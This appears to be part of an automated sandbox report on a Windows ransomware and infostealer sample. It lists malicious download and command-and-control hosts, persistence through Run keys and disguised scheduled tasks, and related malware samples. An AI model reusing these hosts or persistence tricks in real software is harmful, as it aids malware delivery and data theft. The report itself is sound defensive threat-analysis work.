https://help.steampowered.com/en/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/	build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exep	rq0mVjR9ar.exe, 00000006.00000002.2614167734.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2612390939.00000000006D3000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonO7Hi7	rq0mVjR9ar.exe, 00000002.00000002.2092151672.0000000000848000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	rq0mVjR9ar.exe, 00000008.00000003.2186213652.0000000003570000.00000004.00001000.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.twitter.com/	rq0mVjR9ar.exe, 00000006.00000003.2186602373.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	rq0mVjR9ar.exe, 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	rq0mVjR9ar.exe, 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://medal.tv	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2193224734.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.1494JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZv	build2.exe, 0000000A.00000002.2358794500.000000000051A000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steamcommunity.com/workshop/	build2.exe, 0000000A.00000002.2359644104.0000000000A32000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2358794500.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2195053192.0000000000A43000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/u	build2.exe, 0000000A.00000003.2223402572.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2248150224.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 0000000A.00000003.2265495540.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
200.45.93.45	cajgtus.com	Argentina	7303	TelecomArgentinaSAAR	true
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false
96.17.209.196	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
186.147.159.149	sdfjhuz.com	Colombia	10620	TelmexColombiaSACO	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430827
Start date and time:	2024-04-24 09:16:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rq0mVjR9ar.exe renamed because original name is a hash value
Original Sample Name:	b35348f4654893767a081b076f7becdf.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@44/1404@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 64 Number of non-executed functions: 228
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:16:53	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe s>--Task
09:16:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
09:16:59	API Interceptor	1x Sleep call for process: rq0mVjR9ar.exe modified
09:17:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart
09:17:11	API Interceptor	1x Sleep call for process: build2.exe modified
09:17:17	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
09:17:59	API Interceptor	6764478x Sleep call for process: mstsca.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
200.45.93.45	KqPElJNEtP.exe	Get hash	malicious	SmokeLoader	Browse	nidoe.org/tmp/index.php
200.45.93.45	file.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer	Browse	sajdfue.com/test1/get.php?pid=3C8DAB0A318E3BBE55D6418C454BF200
172.67.139.220	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Looy Ransomware.cmd	Get hash	malicious	Babuk, Djvu	Browse
	BuThoFHNNK.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse
95.217.9.149	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
186.147.159.149	ak55ZgXKwt.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	nidoe.org/tmp/index.php
	6t0abj5L0W.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	nidoe.org/tmp/index.php
	OShRqF6jNV.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, SystemBC, Xmrig	Browse	kamsmad.com/tmp/index.php
	MCYq2AqNU0.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	trmpc.com/check/index.php
	nJa31W9P4p.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php?scr=1
	IIBXMzS0zN.exe	Get hash	malicious	Glupteba, SmokeLoader, Socks5Systemz, Stealc, Xmrig	Browse	trmpc.com/check/index.php
	7abf5ad882fd72332b0b7fb530c8c6505852d4f7ea39edfe444218bdcd9c7f0e_dump.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse	sjyey.com/tmp/index.php
	zbnq9rGNLi.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	sjyey.com/tmp/index.php
	5Yzloz244r.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	sjyey.com/tmp/index.php
	bmYPl7n566.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	sjyey.com/tmp/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cajgtus.com	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	85.11.159.22
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	81.183.132.103
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	58.151.148.90
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.195.132.134
steamcommunity.com	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.76.43.59
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.67.208.180
	file.exe	Get hash	malicious	Vidar	Browse	23.47.27.74
	file.exe	Get hash	malicious	Vidar	Browse	23.65.246.108
	file.exe	Get hash	malicious	Vidar	Browse	184.27.10.105
	file.exe	Get hash	malicious	Vidar	Browse	23.61.62.148
	file.exe	Get hash	malicious	Vidar	Browse	184.30.122.179
sdfjhuz.com	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	190.218.33.18
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	187.228.55.117
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	179.27.75.59
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	187.134.67.105
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	181.128.130.193
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	186.112.12.51
api.2ip.ua	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	172.67.139.220
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.139.220
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	104.21.65.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TelecomArgentinaSAAR	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	181.31.165.243
	pGTQLD9ukH.elf	Get hash	malicious	Mirai	Browse	181.101.56.155
	CxBkzmVHaR.elf	Get hash	malicious	Mirai	Browse	181.31.213.85
	W5xi2iuufC.elf	Get hash	malicious	Mirai	Browse	181.99.80.113
	jdsfl.arm.elf	Get hash	malicious	Mirai	Browse	181.31.213.51
	jdsfl.x86.elf	Get hash	malicious	Mirai	Browse	190.136.108.254
	g2PqnVy6cQ.elf	Get hash	malicious	Mirai, Okiru	Browse	191.97.235.179
	dugw41p62T.elf	Get hash	malicious	Mirai	Browse	24.232.201.52
	Q2bIN963Kt.elf	Get hash	malicious	Mirai, Okiru	Browse	181.231.36.4
HETZNER-ASDE	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.244.99
	BW38j8Jkbl.exe	Get hash	malicious	Pony	Browse	144.76.41.117
	https://webmail.cmxserver.com/authsecure/index.php?email=kaylen@virtualintelligencebriefing.com	Get hash	malicious	Unknown	Browse	136.243.80.35
	file.exe	Get hash	malicious	Vidar	Browse	95.217.244.99
	#4711 Cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	94.130.55.203
AKAMAI-ASUS	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	https://tibusiness.cl/css/causarol.rar	Get hash	malicious	Unknown	Browse	23.217.9.75
	http://damarltda.cl/certificado.php	Get hash	malicious	Unknown	Browse	23.200.60.110
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	PO#0023298413.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
	https://netorg442802-my.sharepoint.com/:b:/g/personal/darek_daronto_com/EeXtnEaZ3XJBqGk13it6odUB-K9vuYAC7zp7SfyciZ3BpQ?e=nkKu2w	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.43.51.75
	EXTERNAL Bonnie St Dryden is inviting you to collaborate on One_docx(Apr 23) DOC3848493.msg	Get hash	malicious	HTMLPhisher	Browse	23.223.31.231
	https://lithiuimvalley.com/ssd	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	96.17.33.186
CLOUDFLARENETUS	responsibilityleadpro.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	iwjvkEAIQa.rtf	Get hash	malicious	Unknown	Browse	172.67.187.200
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	xF3wienia PO2102559-1.xlsx	Get hash	malicious	Unknown	Browse	172.67.215.45
	https://tibusiness.cl/css/causarol.rar	Get hash	malicious	Unknown	Browse	1.1.1.1
	F#U0130YAT TEKL#U0130F.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	http://damarltda.cl/certificado.php	Get hash	malicious	Unknown	Browse	162.159.61.3
	New Order - DUBAI BURJ KHALIFA LLC - PRICE ENQUIRY - RFQ 60000764690.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.206.230
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	172.67.206.230

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
37f463bf4616ecd445d4a1937da06e19	responsibilityleadpro.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.139.220 96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220 96.17.209.196
	#U0421#U041f#U0426 #U2116130 #U043e#U0442 12.04.2024 #U043f#U043e#U0434#U043f#U0438#U0441..exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.139.220 96.17.209.196
	DAIKIN AC SPAIN 2024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 96.17.209.196
	transferencia.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 96.17.209.196
	1000901 LIQUIDACION.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.139.220 96.17.209.196
	Zapytanie ofertowe (7427-23 ROCKFIN).vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 96.17.209.196
	Factura240413227178.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 96.17.209.196
	Price request N#U00b0DEM23000199.js	Get hash	malicious	AsyncRAT, PureLog Stealer, RedLine	Browse	172.67.139.220 96.17.209.196
	orden de compra.vbs	Get hash	malicious	AgentTesla	Browse	172.67.139.220 96.17.209.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqln[1].dll	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

Download File

Process:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
